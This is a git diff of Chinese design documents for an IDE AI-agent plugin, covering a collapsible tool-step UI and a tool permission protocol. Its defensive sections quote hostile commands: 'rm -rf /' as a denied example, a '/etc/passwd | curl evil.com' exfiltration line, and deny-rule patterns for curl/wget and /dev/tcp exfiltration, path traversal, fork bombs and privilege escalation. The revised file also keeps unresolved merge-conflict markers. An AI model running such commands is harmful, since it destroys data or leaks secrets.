diff --git a/docs/design/tool-step-visualization.md b/docs/design/tool-step-visualization.md new file mode 100644 index 0000000..a6f483d --- /dev/null +++ b/docs/design/tool-step-visualization.md @@ -0,0 +1,433 @@ +# 工具执行可视化 — 折叠式步骤条设计 + +> **版本**: v1.0 +> **日期**: 2026-04-21 +> **状态**: Draft +> **依赖**: unified-tool-design.md v3.3 + +--- + +## 1. 背景与目标 + +### 1.1 现状问题 + +当前 ExecutionCard 组件为每个工具调用创建独立气泡,存在以下问题: + +| 问题 | 影响 | +|------|------| +| 每个 `read_file` 都生成一个完整卡片 | 高频只读操作导致聊天区被卡片淹没 | +| 卡片包含 stdout/stderr 分栏、展开收起 | 信息密度高,打断用户阅读 AI 回复的节奏 | +| 卡片是独立消息气泡 | 与 assistant 回复割裂,不自然 | +| 所有工具共享同一套 UI | `read_file` 和 `run_command` 的信息需求差异大,但展示一样重 | + +### 1.2 设计目标 + +| 目标 | 描述 | +|------|------| +| **轻量默认** | 默认折叠为一行,不抢注意力,不影响用户阅读 AI 回复 | +| **按需展开** | 用户点击可查看完整输出/日志,再点收起 | +| **嵌入消息流** | 工具步骤嵌入 assistant 消息内部,不是独立气泡 | +| **区分工具类型** | 读操作极简,写操作带变更摘要,命令操作可看日志 | +| **执行感知** | 执行中有微妙动效(旋转图标),完成后静默折叠 | + +### 1.3 参考产品 + +| 产品 | 做法 | +|------|------| +| Claude Code (CLI) | 工具调用显示为 collapsible section,`▸` 折叠 / `▾` 展开 | +| Cursor | 工具调用显示为 chat 内的 inline block,点击展开 | +| Windsurf | 工具步骤嵌入 assistant 消息,折叠态只显示工具名+状态 | + +--- + +## 2. 交互设计 + +### 2.1 三态模型 + +每个工具调用经历三个视觉状态: + +``` +[1] 执行中 [2] 完成后(折叠) [3] 展开查看 + +⟳ read_file ✓ read_file ▾ read_file + Main.kt... Main.kt 8ms Main.kt 8ms + ┌──────────────────────┐ + │ FILE: Main.kt │ + │ LINES: 1-20 │ + │ 1→fun main() { │ + │ 2→ println() │ + └──────────────────────┘ +``` + +| 状态 | 视觉 | 交互 | +|------|------|------| +| **Running** | 图标旋转 + 工具名 + 目标摘要 + `...` | 不可点击展开 | +| **Completed(折叠)** | 图标 ✓ + 工具名 + 目标摘要 + 耗时 | 点击展开 | +| **Completed(展开)** | 同上 + 输出内容区 | 点击收起 | + +### 2.2 工具类型区分 + +不同工具类型使用不同的图标和摘要策略: + +| 工具类型 | 图标 | 折叠态摘要 | 展开内容 | +|----------|------|-----------|---------| +| `read_file` | 📖 | `read_file {filename}` | 文件内容(带行号) | +| `list_files` | 📂 | `list_files {dirname}` | 目录列表 | +| `grep_files` | 🔍 | `grep_files "{pattern}"` | 匹配行列表 | +| `edit_file` | ✏️ | `edit_file {filename} (+N/-M)` | 替换前后 diff + 匹配信息 | +| `write_file` | 📝 | `write_file {filename}` (新建/覆盖) | 文件内容摘要 | +| `run_command` | ⌨️ | `run_command {command摘要}` | stdout + stderr + exit code | + +### 2.3 完整消息流示例 + +``` +┌─ Assistant ──────────────────────────────────────────┐ +│ │ +│ 让我看看项目结构和关键文件。 │ +│ │ +│ ┌─ Tool Steps ──────────────────────────────────┐ │ +│ │ ⟳ list_files . ... │ │ ← 执行中 +│ │ ✓ read_file build.gradle 8ms [▸] │ │ ← 折叠 +│ │ ✓ read_file Main.kt 12ms [▸] │ │ +│ │ ✓ grep_files "fun main" 3ms [▸] │ │ +│ └───────────────────────────────────────────────┘ │ +│ │ +│ 基于项目结构分析如下: │ +│ 这是一个 Kotlin 项目,入口在 Main.kt... │ +│ │ +└───────────────────────────────────────────────────────┘ +``` + +点击展开 `read_file Main.kt` 后: + +``` +│ ┌─ Tool Steps ──────────────────────────────────┐ │ +│ │ ⟳ list_files . ... │ │ +│ │ ✓ read_file build.gradle 8ms [▸] │ │ +│ │ ▾ read_file Main.kt 12ms [▾] │ │ ← 展开 +│ │ ┌────────────────────────────────────────┐ │ │ +│ │ │ FILE: Main.kt LINES: 1-10/85 │ │ │ +│ │ │ 1→package com.example │ │ │ +│ │ │ 2→ │ │ │ +│ │ │ 3→fun main() { │ │ │ +│ │ │ 4→ println("Hello") │ │ │ +│ │ │ 5→} │ │ │ +│ │ └────────────────────────────────────────┘ │ │ +│ │ ✓ grep_files "fun main" 3ms [▸] │ │ +│ └───────────────────────────────────────────────┘ │ +``` + +### 2.4 与文件变更通知的配合 + +写入类工具完成后,额外发送 `file_change_auto` 事件,前端在步骤条下方展示内联提示: + +``` +│ ✓ ✏️ edit_file ChatService.kt (+12/-3) [▸] │ +│ ✓ 📝 write_file HelloService.kt (新建) [▸] │ +│ │ +│ 📝 ChatService.kt (+12/-3) [Open in Editor] │ ← 内联变更提示 +│ 📝 HelloService.kt (新建) [Open in Editor] │ +``` + +--- + +## 3. 组件设计 + +### 3.1 组件树 + +``` +MessageBubble (assistant) + ├── MarkdownContent (AI 回复文本) + ├── ToolStepsBar (工具步骤容器) + │ ├── ToolStepRow (单个工具步骤) + │ │ ├── StatusIcon (⟳ / ✓ / ✗) + │ │ ├── ToolIcon (📖 / ✏️ / ⌨️ ...) + │ │ ├── Summary (工具名 + 目标摘要) + │ │ ├── Duration (耗时) + │ │ └── ExpandToggle ([▸] / [▾]) + │ └── ToolStepOutput (展开后的输出内容,条件渲染) + └── FileChangeInline[] (写入类工具的变更提示) +``` + +### 3.2 ToolStepRow Props + +```typescript +interface ToolStepRowProps { + // 基本信息 + toolName: string // "read_file" | "edit_file" | ... + targetSummary: string // "Main.kt" | "grep 'fun main'" | "git status" + status: 'running' | 'completed' | 'failed' + durationMs?: number // 执行耗时(完成后有值) + + // 展开内容 + output?: string // 工具完整输出 + diffStats?: { // 写入类工具有值 + added: number + removed: number + } + + // 交互状态 + expanded: boolean + onToggleExpand: () => void +} +``` + +### 3.3 ToolStepsBar Props + +```typescript +interface ToolStepsBarProps { + steps: ToolStepInfo[] +} + +interface ToolStepInfo { + id: string // requestId + toolName: string + targetSummary: string + status: 'running' | 'completed' | 'failed' + durationMs?: number + output?: string + diffStats?: { added: number; removed: number } + expanded?: boolean +} +``` + +--- + +## 4. 数据模型 + +### 4.1 Message 类型扩展 + +在现有 `Message` 接口中新增 `toolSteps` 字段: + +```typescript +interface Message { + id: string + role: 'user' | 'assistant' | 'execution' + content: string + isStreaming?: boolean + execution?: ExecutionCardData // 旧:兼容 + toolSteps?: ToolStepInfo[] // 新:折叠式步骤条 +} +``` + +### 4.2 与现有 AppState 的关系 + +```typescript +// 工具步骤绑定在 assistant message 上,不是独立状态 +// 多个 tool_call 的结果汇总到一个 message.toolSteps 数组 +interface AppState { + // ... + messages: Message[] + // 不需要单独的 toolSteps 状态 — 它是 message 的一部分 +} +``` + +### 4.3 后端事件协议 + +Dispatcher 在工具执行过程中发送以下事件(复用现有 `onEvent` 通道): + +| 事件 type | Payload | 时机 | +|-----------|---------|------| +| `tool_step_start` | `{ msgId, requestId, toolName, summary }` | 工具开始执行 | +| `tool_step_end` | `{ msgId, requestId, status, output, durationMs, diffStats? }` | 工具执行完成 | + +**与现有事件的关系**: +- `tool_step_start/end` 替代(统一路径下的)`execution_card` + `execution_status` +- 旧路径(`unifiedToolsEnabled=false`)继续使用 `execution_card` + `execution_status` +- `approval_request` 事件不变 — 审批仍是独立弹框 + +--- + +## 5. 事件流 + +### 5.1 完整时序 + +``` +[1] AI 返回 finish_reason: "tool_calls" + │ + ▼ +[2] ChatService: handleToolCallCompleteUnified() + ├─ 创建 assistant message(content = responseBuffer, toolSteps = []) + ├─ 发送 tool_step_start 给每个工具 + │ + ▼ +[3] ToolCallDispatcher.dispatchAll() + ├─ dispatch(tool_1) + │ ├─ Bridge: tool_step_start { msgId, req1, "read_file", "Main.kt" } + │ ├─ executor.execute() + │ └─ Bridge: tool_step_end { msgId, req1, ok, output, 8ms } + │ + ├─ dispatch(tool_2) (并发) + │ ├─ Bridge: tool_step_start { msgId, req2, "grep_files", "'main'" } + │ ├─ executor.execute() + │ └─ Bridge: tool_step_end { msgId, req2, ok, output, 3ms } + │ + ▼ +[4] 全部完成后 → sendMessageInternal() 开始下一轮 +``` + +### 5.2 前端 eventReducer 处理 + +```typescript +case 'tool_step_start': + return { + ...state, + messages: state.messages.map(m => { + if (m.id !== payload.msgId) return m + return { + ...m, + toolSteps: [ + ...(m.toolSteps || []), + { + id: payload.requestId, + toolName: payload.toolName, + targetSummary: payload.summary, + status: 'running', + } + ] + } + }) + } + +case 'tool_step_end': + return { + ...state, + messages: state.messages.map(m => { + if (m.id !== payload.msgId) return m + return { + ...m, + toolSteps: (m.toolSteps || []).map(step => + step.id === payload.requestId + ? { + ...step, + status: payload.status ? 'completed' : 'failed', + output: payload.output, + durationMs: payload.durationMs, + diffStats: payload.diffStats, + } + : step + ) + } + }) + } +``` + +--- + +## 6. 视觉规范 + +### 6.1 折叠态 + +``` +┌─────────────────────────────────────────────┐ +│ ✓ 📖 read_file Main.kt 8ms ▸ │ ← 整行可点击 +└─────────────────────────────────────────────┘ +``` + +- 高度:单行(约 28px) +- 背景:`rgba(255,255,255,0.04)`(dark mode),与 assistant 消息有微弱区分 +- 圆角:4px +- 字号:12px(比正文小一号) +- ✓ 图标颜色:绿色(`#52c41a`),✗ 红色(`#ff4d4f`) +- 耗时:右对齐,灰色(`#888`) +- ▸ 箭头:右对齐,hover 时高亮 + +### 6.2 展开态 + +``` +┌─────────────────────────────────────────────┐ +│ ✓ 📖 read_file Main.kt 8ms ▾ │ ← 点击收起 +├─────────────────────────────────────────────┤ +│ FILE: Main.kt │ +│ LINES: 1-20/85 │ +│ 1→package com.example │ +│ 2→ │ +│ 3→fun main() { │ +│ 4→ println("Hello") │ +│ 5→} │ +└─────────────────────────────────────────────┘ +``` + +- 展开内容区:单色背景(`rgba(0,0,0,0.15)` dark mode) +- 等宽字体显示输出内容 +- 最大高度:300px,超出则滚动 +- 输出内容截断到 2000 字符,超出显示 "... truncated,点击查看完整输出" + +### 6.3 执行中动效 + +- 状态图标使用 CSS `animation: spin` 旋转(⟳) +- 旋转速度:1.5s 一圈 +- 摘要文字末尾有 `...` 表示进行中 +- 背景色:微弱蓝色调(`rgba(82,196,26,0.04)`) + +### 6.4 失败态 + +``` +┌─────────────────────────────────────────────┐ +│ ✗ ⌨️ run_command rm -rf / DENIED ▸ │ +└─────────────────────────────────────────────┘ +``` + +- ✗ 图标红色 +- 摘要中显示失败原因关键词(`DENIED` / `BLOCKED` / `FAILED`) +- 展开后显示完整错误信息 + +--- + +## 7. 实现计划 + +### 7.1 后端改动 + +| 步骤 | 文件 | 内容 | +|------|------|------| +| 1 | `BridgeHandler.kt` | 新增 `notifyToolStepStart()` 和 `notifyToolStepEnd()` 方法 | +| 2 | `ToolCallDispatcher.kt` | 在 `dispatch()` 中发送 `tool_step_start/end` 事件 | +| 3 | `ChatService.kt` | 在 `handleToolCallCompleteUnified()` 中传入 msgId 给 dispatcher | + +### 7.2 前端改动 + +| 步骤 | 文件 | 内容 | +|------|------|------| +| 4 | `types/bridge.d.ts` | 新增 `tool_step_start` / `tool_step_end` 事件类型 | +| 5 | `eventReducer.ts` | 新增两个 case,更新 message.toolSteps | +| 6 | `components/ToolStepRow.tsx` | **新建** — 单个工具步骤组件 | +| 7 | `components/ToolStepsBar.tsx` | **新建** — 步骤容器组件 | +| 8 | `components/MessageBubble.tsx` | 在 assistant 消息中渲染 `ToolStepsBar` | +| 9 | `components/ExecutionCard.tsx` | 添加 `toolName` 字段支持(旧路径兼容) | + +### 7.3 迁移策略 + +| 路径 | 行为 | +|------|------| +| `unifiedToolsEnabled=true` | 使用 `tool_step_start/end` + `ToolStepsBar`(新) | +| `unifiedToolsEnabled=false` | 使用 `execution_card/status` + `ExecutionCard`(旧,不动) | + +两套 UI 共存,feature flag 切换。验证通过后移除旧路径。 + +--- + +## 8. 验收标准 + +### 功能验收 + +- [ ] `read_file` 3 次并发调用 → 步骤条显示 3 行,全部折叠态 +- [ ] 点击任意步骤行 → 展开显示文件内容,再点收起 +- [ ] 执行中步骤图标旋转,完成后自动折叠并显示耗时 +- [ ] `edit_file` 步骤显示 `(+N/-M)` 变更摘要 +- [ ] `run_command` 失败时显示红色 ✗ 和失败原因 +- [ ] 展开内容超过 300px 时可滚动 +- [ ] 步骤条嵌入 assistant 消息内部,不生成独立气泡 +- [ ] `unifiedToolsEnabled=false` 时回退到旧 ExecutionCard + +### 视觉验收 + +- [ ] 折叠态高度一致,不因内容长度变化 +- [ ] 旋转动画流畅,不影响其他组件渲染 +- [ ] Dark/Light 主题下均可正常显示 +- [ ] 展开收起有 150ms 过渡动画 + +### 回归验收 + +- [ ] 旧路径 `ExecutionCard` 功能不受影响 +- [ ] 审批弹框 (`ApprovalDialog`) 功能不受影响 +- [ ] Session 持久化不受影响 diff --git a/docs/design/unified-tool-design.md b/docs/design/unified-tool-design.md index 5bff61e..cc8066e 100644 --- a/docs/design/unified-tool-design.md +++ b/docs/design/unified-tool-design.md @@ -1,10 +1,19 @@ # CodePlanGUI 统一工具协议系统 — 设计文档 -> **版本**: v2.0 -> **日期**: 2026-04-17 +<<<<<<< Updated upstream +> **版本**: v3.0 +======= +> **版本**: v3.3 +>>>>>>> Stashed changes +> **日期**: 2026-04-20 > **状态**: Draft +> **前置依赖**: Phase 1(统一事件通道 `onEvent`)已完成;Phase 2(消息分组 `MessageGroup`)已完成 > **参考**: MiniCode PRD_UNIFIED_TOOL_PROTOCOL.md、claw-code 权限模型调研 -> **变更**: v1.0 → v2.0 合并 protocol-design + architecture,优化 7 项设计问题 +<<<<<<< Updated upstream +> **变更**: v2.0 → v3.0 适配统一事件通道(`onEvent`)和消息分组(`MessageGroup`)架构 +======= +> **变更**: v3.2 → v3.3 代码审查优化(deny_rules 具象化、FileWriteLock 修复、MCP 校验内置、频率限制、Hook 语义明确、新建文件完整预览);v3.1 → v3.2 动态并发安全、大输出截断、结果保序、Pre/Post Hook、MCP 基础校验;v3.0 → v3.1 代码审查修复(并发模型、超时竞态、职责边界);v2.0 → v3.0 适配统一事件通道和消息分组架构 +>>>>>>> Stashed changes --- @@ -35,14 +44,15 @@ |------|------| | **解耦** | ChatService 不感知具体工具,只通过统一接口调度 | | **统一** | 内置工具和 MCP 工具共享注册、权限、执行管线 | -| **安全** | 多层权限策略 + 文件写操作 diff 审批 + 新建文件确认 | +| **安全** | 多层权限策略 + 文件写操作 IDE 原生 diff 审批 + 新建文件确认 | +| **IDE 原生** | 充分压榨 IDE 插件优势——diff 审批用 IntelliJ DiffDialog、搜索用 IDE 索引、改代码后自动 inspection + format、变更在编辑器内联高亮(非 WebView 模拟) | | **可扩展** | 运行时动态加载/卸载工具(MCP server 上下线) | | **健壮** | 工具执行永不导致 Agent Loop 崩溃 | -| **并发安全** | 同文件写入操作串行化,防止数据竞争 | +| **并发安全** | 同文件写入操作串行化,防止数据竞争 | | ### 1.3 工具范围 -第一版 6 个内置工具 + MCP 预留: +第一版 6 个内置工具 + MCP 工具 + Skills,**统一实现**: | 分类 | 工具 | 权限 | 用途 | |------|------|------|------| @@ -52,7 +62,8 @@ | 文本搜索 | `grep_files` | READ_ONLY | 基于 IntelliJ Search API 的文本搜索 | | 精确替换 | `edit_file` | WORKSPACE_WRITE | 单处/多处文本替换 + diff 审批 | | 整文件写入 | `write_file` | WORKSPACE_WRITE | 新建或覆写文件 + 确认/diff 审批 | -| MCP 工具 | `mcp__*__*` | 需审批(默认) | Phase 4 动态加载 | +| MCP 工具 | `mcp__*__*` | 需审批(默认) | 动态加载(见 §10) | +| Skills | `execute_skill` | 安全属性自动放行 | 多步技能编排(见 §11) | > `web_search`、`web_fetch`、`ask_user` 等工具后续通过 MCP 接入,不纳入第一版。 @@ -68,25 +79,25 @@ │ (SSE 状态机 + Agent Loop)│ └────────────┬─────────────┘ │ - ┌────────────▼─────────────┐ - │ ToolCallDispatcher │ - │ 权限策略 + 审批挂起 + 调度│ - └────────────┬─────────────┘ + ┌────────────────▼────────────────┐ + │ ToolCallDispatcher │ + │ 权限策略 + 审批挂起 + 调度 │ + └────────────────┬────────────────┘ │ - ┌──────────────────▼──────────────────┐ - │ ToolRegistry │ - │ 注册 · 查找 · 校验 · 执行 · 清理 │ - └──┬─────┬─────┬─────┬─────┬────┬────┘ - │ │ │ │ │ │ - Bash Read List Grep Edit Write MCP - Exec File Files Files File File (P4) - │ │ │ - ▼ ▼ ▼ - ┌──────────────┐ ┌──────────────┐ - │ CommandExec │ │ FileChange │ - │ Service │ │ Review │ - │ (现有,不改) │ │ (diff 审批) │ - └──────────────┘ └──────────────┘ + ┌──────────────────────▼──────────────────────┐ + │ ToolRegistry │ + │ 注册 · 查找 · 校验 · 能力协商 · 清理 │ + └──┬─────┬─────┬─────┬─────┬────┬────┬───────┘ + │ │ │ │ │ │ │ + Bash Read List Grep Edit Write MCP Skill + Exec File Files Files File File (P4) (P5) + │ │ │ │ + ▼ ▼ ▼ ▼ + ┌──────────────┐ ┌──────────────┐ ┌────────────┐ + │ CommandExec │ │ FileChange │ │ SkillTool │ + │ Service │ │ Review │ │ (Command │ + │ (现有,不改) │ │ (diff 审批) │ │ 调度器) │ + └──────────────┘ └──────────────┘ └────────────┘ ``` ### 2.2 数据流 @@ -136,7 +147,8 @@ | M2 | 注册中心 | ToolRegistry — 注册、查找、校验、执行、清理 | | M3 | 内置工具 | 6 个工具的执行器实现 | | M4 | 集成调度 | ToolCallDispatcher + ChatService 重构 | -| M5 | MCP 预留 | 接口定义,Phase 4 实现 | +| M5 | MCP 接入 | McpConnectionManager + McpToolFactory + 能力协商 + Schema 热更新 | +| M6 | Skills 接入 | SkillRegistry + SkillTool + 懒加载 + 条件激活 | --- @@ -149,10 +161,12 @@ | 字段 | 类型 | 必填 | 说明 | |------|------|------|------| | `ok` | Boolean | 是 | 成功或失败 | -| `output` | String | 是 | 结果文本;失败时存放可读错误描述 | +| `output` | String | 是 | 结果文本;失败时存放可读错误描述。Dispatcher 保证不超过 `MAX_TOOL_OUTPUT_BYTES`(默认 50KB) | | `awaitUser` | Boolean | 否 | 若为 true,暂停 Agent Loop 等待用户输入 | -| `backgroundTask` | BackgroundTask? | 否 | 后台任务信息(bash 后台命令) | +| `backgroundTask` | BackgroundTask? | 否 | 后台任务信息(bash 后台命令)。`BackgroundTask { id: String, command: String, status: BackgroundTaskStatus }`。`BackgroundTaskStatus` 枚举值:`PENDING`(等待启动)、`RUNNING`(执行中)、`COMPLETED`(已完成)、`FAILED`(执行失败)、`CANCELLED`(用户取消) | | `truncated` | Boolean | 否 | 输出是否被截断 | +| `totalBytes` | Int? | 否 | 原始输出总字节数(截断时有值) | +| `outputPath` | String? | 否 | 完整输出持久化到磁盘的路径(截断时有值),模型可用 `read_file` 查看 | 与现有 `ExecutionResult` 的映射: @@ -166,6 +180,26 @@ **关键约束**:`output` 在 `ok=false` 时必须包含可读的错误描述。 +#### 大输出截断策略 + +工具执行结果可能超过 API 请求大小限制(如 `run_command` 输出 10MB 日志)。Dispatcher 在调用 executor 后执行截断: + +``` +executor.execute() 返回 ToolResult + │ + ├─ output.length ≤ MAX_TOOL_OUTPUT_BYTES (50KB) + │ └─ 直接使用 + │ + └─ output.length > MAX_TOOL_OUTPUT_BYTES + ├─ 截断 output 为前 50KB,追加截断提示: + │ "\n\n... [OUTPUT TRUNCATED: {totalBytes} bytes total, showing first 50KB]" + ├─ 完整输出写入临时文件:{cwd}/.codeplan/tmp/tool-output-{callId}.log + ├─ truncated = true, totalBytes = 原始大小, outputPath = 临时文件路径 + └─ 模型可用 read_file(outputPath) 查看完整输出 +``` + +截断阈值 `MAX_TOOL_OUTPUT_BYTES` 可通过 Settings 配置(默认 50KB)。临时文件在会话结束时由 `ToolRegistry.dispose()` 清理。 + ### 3.2 ToolContext — 执行上下文 | 字段 | 类型 | 说明 | @@ -184,6 +218,38 @@ | `requiredPermission` | PermissionMode | 注册时声明的最低权限等级 | | `executor` | ToolExecutor | 执行器实例 | +#### 动态能力声明 + +权限等级(`requiredPermission`)用于安全策略,但不等同于执行能力。例如 `run_command` 的 `requiredPermission` 是动态分级的,但其并发安全性取决于具体命令。因此 ToolSpec 额外提供三个动态方法(参数为解析后的输入): + +| 方法 | 返回 | 说明 | +|------|------|------| +| `isConcurrencySafe(input)` | Boolean | 此输入是否可与其他工具并发执行。只读操作返回 `true`,写入/有副作用操作返回 `false` | +| `isReadOnly(input)` | Boolean | 此输入是否为纯读操作(无副作用) | +| `isDestructive(input)` | Boolean | 此输入是否为破坏性操作(如 `rm`、`git reset --hard`) | + +**默认实现**:内置工具按类型提供实现(如 `read_file` 始终返回 `isConcurrencySafe=true`);MCP 工具默认 `false`(保守策略)。 + +**与 `requiredPermission` 的关系**: + +``` +requiredPermission → 安全层:决定是否需要审批 +isConcurrencySafe → 调度层:决定是否可并发执行 +isReadOnly → 信息层:供 Hook 和日志使用 +isDestructive → 信息层:供 Hook 和日志使用 +``` + +示例: + +| 工具 | 输入 | requiredPermission | isConcurrencySafe | isReadOnly | isDestructive | +|------|------|--------------------|-------------------|------------|---------------| +| `run_command` | `cat file.txt` | READ_ONLY | `true` | `true` | `false` | +| `run_command` | `npm install` | WORKSPACE_WRITE | `false` | `false` | `false` | +| `run_command` | `rm -rf build/` | DANGER_FULL_ACCESS | `false` | `false` | `true` | +| `read_file` | `{path: "a.kt"}` | READ_ONLY | `true` | `true` | `false` | +| `edit_file` | `{path: "a.kt", ...}` | WORKSPACE_WRITE | `false` | `false` | `false` | +| `grep_files` | `{pattern: "foo"}` | READ_ONLY | `true` | `true` | `false` | + ### 3.4 PermissionMode — 权限等级 | 等级 | 顺序 | 说明 | 适用场景 | @@ -213,34 +279,27 @@ | 方法 | 说明 | |------|------| | `list()` | 列出所有已注册工具 | -| `find(name)` | 按名称查找工具 | +| `find(name)` | 按名称查找工具,返回 `ToolSpec?` | | `addTools(specs)` | 去重追加(同名跳过不覆盖) | | `removeTool(name)` | 移除工具(MCP 下线时调用) | -| `execute(name, input, context)` | 核心执行:查找 → 校验 → 执行 | | `addDisposer(fn)` | 注册清理函数 | | `dispose()` | 反序调用所有清理函数 | -| `buildOpenAiTools()` | 转为 OpenAI API tools 参数格式 | +| `buildOpenAiTools()` | 遍历已注册工具,将每个 `ToolSpec` 的 `name`/`description`/`inputSchema` 转为 OpenAI API 的 `tools` 参数格式(`{ type: "function", function: { name, description, parameters } }`) | -### 4.2 execute — 三层安全防护 +> **变更说明**:原 `execute()` 方法已移至 `ToolCallDispatcher`,Registry 只做注册表。执行的三层安全防护(查找→校验→执行 + try/catch)由 Dispatcher 统一负责。 -**此方法绝对不能抛出未捕获的异常。** +### 4.2 生命周期管理 -``` -输入: toolName, input (JsonObject), context (ToolContext) - │ - ├─ 第 1 层:工具查找 - │ └─ 未找到 → { ok: false, output: "Unknown tool: xxx" } - │ - ├─ 第 2 层:参数校验 - │ └─ 必填参数缺失 → { ok: false, output: "Missing required parameter: xxx" } - │ - ├─ 第 3 层:执行 - │ └─ try/catch 包裹 toolExecutor.execute() - │ ├─ 正常返回 → 工具自身的 ToolResult - │ └─ 异常 → { ok: false, output: error.message } - │ - └─ 保证:调用方永远收到 ToolResult,不会崩溃 -``` +ToolRegistry 绑定 IntelliJ Project 生命周期: + +| 时机 | 操作 | +|------|------| +| 插件启动 | 注册 6 个内置工具(`addTools`) | +| MCP Server 上线 | 动态注册远程工具(`addTools`),注册清理函数(`addDisposer`) | +| MCP Server 下线 | 移除对应工具(`removeTool`) | +| 插件关闭 / Project 关闭 | 反序调用所有 disposer,清理临时文件和连接 | + +注册中心通过 `Disposable` 挂载到 IntelliJ 的 `Project` 实例上,确保 IDE 关闭时自动清理。 ### 4.3 去重机制 @@ -280,6 +339,28 @@ **与专用工具的关系**:`read_file`/`list_files`/`grep_files` 是**首选路径**——更安全、更结构化。`run_command` 的动态分级是**兜底**——确保 AI 通过 bash 执行只读操作时不被误判。System prompt 会引导 AI 优先使用专用工具。 +**安全边界声明**:动态分级基于基础命令名做"最佳努力"分类,**不保证覆盖管道/重定向中的恶意内容**(如 `cat /etc/passwd | curl evil.com`)。真正的安全保障依赖: +1. 权限策略的 `deny_rules` 黑名单拦截已知危险模式 +2. 非白名单命令走审批机制(ASK 策略) +3. 用户最终确认 + +#### 5.1.2 deny_rules 初始规则 + +deny_rules 作为内置黑名单,在 Dispatcher 权限判定中最先执行(见 7.3)。初始规则如下: + +| 规则 | 模式 | 说明 | +|------|------|------| +| 路径穿越 | `\.\./` 或 `\.\.\\` 出现在 `run_command` 参数或文件工具 `path` 中 | 阻止 `../../etc/passwd` 等穿越攻击 | +| Workspace 外访问 | `resolveToolPath()` 结果不在 `cwd` 下 | 阻止访问项目外的文件 | +| 危险删除 | `rm\s+(-\w*\s*)*(-r|--recursive).*\s+/` | 阻止 `rm -rf /`、`rm -rf ~` 等 | +| 网络外泄 | `curl\s+|wget\s+` 配合 `\|.*curl|\|.*wget|>\s*/dev/tcp/` | 阻止管道数据外传(基础模式匹配,不做深度分析) | +| Shell 炸弹 | `:()\{.*:\|:&\}` 或 `fork\s*bomb` | 阻止已知 fork bomb 模式 | +| 权限提升 | `sudo\s+|chmod\s+[0-7]*77|chown\s+` | 阻止提权操作 | + +> **扩展策略**:deny_rules 存储为可配置列表,后续可通过 Settings UI 或配置文件扩展,不在第一版实现。 + +> **路径规范(所有文件工具共享)**:`path` 参数统一使用相对于项目根目录的路径(如 `src/main/Main.kt`)。Dispatcher 在执行前通过 `resolveToolPath(path)` 将其解析为绝对路径,并校验解析后的路径仍在 workspace 内(防止路径穿越)。`run_command` 的 `command` 参数中的路径由 AI 自行管理(绝对/相对均可),不受此规范约束。 + ### 5.2 文件读取 — `read_file` | 属性 | 值 | @@ -311,6 +392,8 @@ TRUNCATED: yes **设计说明**:使用行号而非字符偏移。行号是 AI 理解代码的自然单位,所有主流工具(Claude Code、Aider、Cursor)均采用行号。截断时标记 `TRUNCATED: yes`,提示模型用新 `line_number` 重读。 +**二进制文件处理**:读取前检测文件是否为二进制(检查前 8KB 是否包含 NUL 字节)。二进制文件返回 `{ ok: false, output: "Binary file, cannot display: ( bytes)" }`。 + ### 5.3 目录浏览 — `list_files` | 属性 | 值 | @@ -354,18 +437,20 @@ grep_files 执行搜索 │ └─ 降级:系统 rg -n --no-heading --max-count 50 ├─ 无 rg 则降级到 grep -rn - └─ 通过 CommandExecutionService 执行 + └─ 通过 CommandExecutionService 执行(内部调用,自动放行) ``` **设计说明**:IDE 插件不应依赖外部工具。`rg` 在 Windows 上可能不存在,macOS 默认也没装。IntelliJ 的 `FindInProjectUtil` 已有成熟的搜索实现,且可复用 IDE 的文件索引加速。 +**降级路径权限说明**:`grep_files` 降级到外部 `rg`/`grep` 时,通过 `CommandExecutionService` 内部调用执行。这些命令是只读工具内部发出的确定性命令(固定的 `rg -n --no-heading` 参数),不走审批流程,在 `allow_rules` 中以工具名 `grep_files` 为粒度自动放行。用户不可直接触发降级路径——降级对用户透明。 + ### 5.5 精确文本替换 — `edit_file` | 属性 | 值 | |------|-----| | 权限 | WORKSPACE_WRITE | | 底层 | 字符串替换 + IntelliJ WriteAction | -| 审批 | **必须** — 展示 diff,等待用户确认 | +| 审批 | **IDE 原生** — 未信任时弹出 IntelliJ DiffDialog(与 Git diff 同组件);信任后直接写入 + 编辑器内联高亮(见 §8) | **输入参数**: @@ -375,15 +460,18 @@ grep_files 执行搜索 | `search` | String | 是 | — | 要查找的文本 | | `replace` | String | 是 | — | 替换为的文本 | | `replaceAll` | Boolean | 否 | false | 是否替换所有出现 | +| `line_number` | Integer | 否 | — | 指定匹配的起始行号(1-based),用于消歧多处匹配 | **行为规则**: - `search` 在文件中不存在时返回 `ok=false` -- `replaceAll=false` 时,若 `search` 出现多次,返回 `ok=false` 并列出匹配行号(要求 AI 指定更精确的上下文) +- `replaceAll=false` 时,若 `search` 出现多次: + - 若提供了 `line_number`,替换该行号处的匹配(精确指定) + - 若未提供 `line_number`,返回 `ok=false` 并列出所有匹配行号(AI 可在下次调用时指定 `line_number`) - `replaceAll=true` 时使用 `split().join()` 而非正则,避免特殊字符问题 -- 所有替换必须经过 diff 审批 +- 所有替换均触发 IDE 原生变更流程(审批或内联高亮,见 §8) -**设计说明**:`replaceAll=false` 时如果有多处匹配,静默替换第一处容易导致错误修改。返回匹配数和行号让 AI 提供更精确的上下文,是更安全的做法。 +**设计说明**:`replaceAll=false` 时如果有多处匹配,静默替换第一处容易导致错误修改。返回匹配数和行号让 AI 可以在下次调用时指定 `line_number` 定位到精确位置,相比仅要求"更精确的上下文"减少了一轮往返。 ### 5.6 整文件写入 — `write_file` @@ -407,26 +495,52 @@ write_file 执行写入 ├─ 路径安全检查:resolveToolPath(path) → 不在 workspace 内则拒绝 │ ├─ 文件已存在? - │ ├─ 是 → 展示 unified diff,等待用户确认(与 edit_file 一致) - │ └─ 否(新建文件)→ 弹出新建文件确认框 - │ ├─ 显示:路径、文件大小、内容预览(前 20 行) - │ ├─ 用户确认 → WriteAction 写入 - │ └─ 用户拒绝 → ToolResult(ok=false, "User rejected") + │ ├─ 是 → 触发 IDE 原生变更流程(与 edit_file 一致,见 §8) + │ └─ 否(新建文件)→ 触发 IDE 原生新建文件确认(见 §8.3) │ - └─ WriteAction 写入 → ToolResult(ok=true) + ├─ WriteAction 写入 + │ + └─ 触发 Post-Edit 质量管线(见 §8.5) ``` -**设计说明**:新建文件不能静默跳过审批。AI 可以在 workspace 任意位置创建文件(如 `.git/hooks/pre-commit`),存在安全风险。新建文件虽然无法生成 diff,但应弹确认框展示路径和内容摘要供用户审核。 +**设计说明**:所有文件写操作均通过 IDE 原生组件展示——已有文件修改用 IntelliJ DiffDialog(与 Git diff 同一组件),新建文件用 IDE 原生确认对话框。信任模式下直接写入 + 